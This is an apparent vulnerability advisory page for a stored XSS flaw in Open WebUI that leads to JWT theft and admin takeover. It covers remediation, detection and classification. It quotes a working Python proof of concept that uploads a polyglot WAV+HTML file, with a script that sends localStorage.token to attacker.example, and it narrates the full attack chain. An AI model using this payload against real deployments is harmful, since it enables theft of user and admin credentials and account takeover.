CVE-2026-45315: open-webui: stored XSS → JWT theft and admin takeover
GHSA-m8f9-9whg-f4xr HIGH PoC AVAILABLE CISA: ATTENDOpen WebUI v0.9.2 and earlier contains a stored XSS vulnerability that allows any authenticated user — leveraging the default-on speech-to-text permission — to upload a polyglot WAV+HTML file that the server stores and later serves with Content-Type: text/html, executing arbitrary JavaScript in the Open WebUI origin. The blast radius extends to full account takeover of any user including admins: JWTs live in localStorage and the OAuth cookie is set without HttpOnly, making credential exfiltration deterministic with a single victim click. An end-to-end working PoC is publicly available in the advisory, the exploitation bar is trivially low (one API call from any valid session, one click from the victim), and with 91 prior CVEs in this package the security posture of Open WebUI warrants heightened scrutiny. Upgrade to v0.9.3 immediately; if patching is blocked, set USER_PERMISSIONS_CHAT_STT=False to remove the upload vector from non-admin accounts.
What is the risk?
High risk with a low exploitation barrier. CVSS 8.7 with network attack vector, low complexity, and low privileges means any authenticated user in a shared deployment can launch the attack. The default-on chat.stt permission ensures near-universal attacker eligibility without any special role needed. User interaction is required but is trivially satisfied in a chat application where sharing links is expected behaviour. The non-HttpOnly OAuth cookie and localStorage JWT storage make credential exfiltration reliable and deterministic — no brute force or guessing involved. The secondary path to admin-level plugin execution on the server elevates this from credential theft to potential remote code execution in organisations where Open WebUI is backed by privileged model infrastructure. The 91-CVE history of this package signals persistent under-investment in security review.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.9.2 | 0.9.3 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Patch immediately: upgrade open-webui to v0.9.3, which addresses the root causes.
-
Workaround (if patching is blocked): set the environment variable USER_PERMISSIONS_CHAT_STT=False to revoke audio upload rights from all non-admin users — this breaks the attack chain at the upload stage.
-
Harden token storage: migrate JWTs from localStorage to HttpOnly, SameSite=Lax cookies to eliminate the XSS exfiltration path regardless of future vulnerabilities.
-
Add response headers: enforce Content-Disposition: attachment and X-Content-Type-Options: nosniff on all /cache/* routes as defence-in-depth.
-
Detection: query web server access logs for GET requests to /cache/audio/transcriptions/ where the file extension is not in {wav, mp3, mp4, ogg, webm, flac} — any .html, .js, .svg hit is a strong indicator of exploitation.
-
Rotate all Open WebUI user tokens if exploitation cannot be ruled out, and audit admin-level plugin configurations for unauthorised additions.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-45315?
Open WebUI v0.9.2 and earlier contains a stored XSS vulnerability that allows any authenticated user — leveraging the default-on speech-to-text permission — to upload a polyglot WAV+HTML file that the server stores and later serves with Content-Type: text/html, executing arbitrary JavaScript in the Open WebUI origin. The blast radius extends to full account takeover of any user including admins: JWTs live in localStorage and the OAuth cookie is set without HttpOnly, making credential exfiltration deterministic with a single victim click. An end-to-end working PoC is publicly available in the advisory, the exploitation bar is trivially low (one API call from any valid session, one click from the victim), and with 91 prior CVEs in this package the security posture of Open WebUI warrants heightened scrutiny. Upgrade to v0.9.3 immediately; if patching is blocked, set USER_PERMISSIONS_CHAT_STT=False to remove the upload vector from non-admin accounts.
Is CVE-2026-45315 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-45315, increasing the risk of exploitation.
How to fix CVE-2026-45315?
1. Patch immediately: upgrade open-webui to v0.9.3, which addresses the root causes. 2. Workaround (if patching is blocked): set the environment variable USER_PERMISSIONS_CHAT_STT=False to revoke audio upload rights from all non-admin users — this breaks the attack chain at the upload stage. 3. Harden token storage: migrate JWTs from localStorage to HttpOnly, SameSite=Lax cookies to eliminate the XSS exfiltration path regardless of future vulnerabilities. 4. Add response headers: enforce Content-Disposition: attachment and X-Content-Type-Options: nosniff on all /cache/* routes as defence-in-depth. 5. Detection: query web server access logs for GET requests to /cache/audio/transcriptions/ where the file extension is not in {wav, mp3, mp4, ogg, webm, flac} — any .html, .js, .svg hit is a strong indicator of exploitation. 6. Rotate all Open WebUI user tokens if exploitation cannot be ruled out, and audit admin-level plugin configurations for unauthorised additions.
What systems are affected by CVE-2026-45315?
This vulnerability affects the following AI/ML architecture patterns: AI chat interfaces and self-hosted LLM gateways, Multi-user AI platforms with shared authentication, Agent-enabled web frontends with tool/plugin execution, On-premises AI assistant deployments.
What is the CVSS score for CVE-2026-45315?
CVE-2026-45315 has a CVSS v3.1 base score of 8.7 (HIGH). The EPSS exploitation probability is 0.18%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.003 Malicious Link AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials AML.T0091.000 Application Access Token Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. ## Details Verified on main @ 8dae237a (v0.9.2): - backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No allowlist, no cross-check against file.content_type. - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension and sets no Content-Disposition. - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body. - backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True. - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin. - backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False. ## PoC Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. ```python import struct, httpx data = b'\x80' * 44100 wav = struct.pack('<4sI4s4sIHHIIHH4sI', b'RIFF', 36 + len(data), b'WAVE', b'fmt ', 16, 1, 1, 44100, 44100, 1, 8, b'data', len(data)) + data payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>' r = httpx.post( 'https://VICTIM/api/v1/audio/transcriptions', headers={'Authorization': f'Bearer {ATTACKER_JWT}'}, files={'file': ('pwn.html', payload, 'audio/wav')}, ) fn = r.json()['filename'] # '<uuid>.html' #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn> ``` https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408 ## Impact Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report. Affected: <= 0.9.2. Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie. Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.
Exploitation Scenario
An adversary with a low-privilege Open WebUI account (chat.stt permission enabled by default) crafts a polyglot binary: a syntactically valid WAV file with an HTML+JavaScript payload appended after the audio data. The file is named pwn.html and uploaded to the /api/v1/audio/transcriptions endpoint with Content-Type: audio/wav — the server accepts it because MIME validation only checks the upload header, not the body, and stores it as <uuid>.html in the shared cache directory. The adversary constructs the public cache URL and delivers it to a target user — an admin — via the chat interface, disguised as a shared resource. When the admin clicks the link, the /cache/{path} route serves the file with Content-Type: text/html and no Content-Disposition header; the browser renders it as HTML and the script runs in the Open WebUI origin. The payload fetches localStorage.token (the admin JWT) and sends it via an async fetch to an attacker-controlled server. The adversary immediately replays the token to authenticate as admin, gains access to all user data and model configurations, and — optionally — installs a malicious Open WebUI plugin to achieve persistent server-side code execution.
Weaknesses (CWE)
CWE-434 Unrestricted Upload of File with Dangerous Type
Primary
CWE-646 Reliance on File Name or Extension of Externally-Supplied File
Primary
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Primary
CWE-434 — Unrestricted Upload of File with Dangerous Type: The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
- [Architecture and Design] Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
- [Architecture and Design] When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-54011 8.7 Open WebUI: Stored XSS via Mermaid loose mode in preview
Same package: open-webui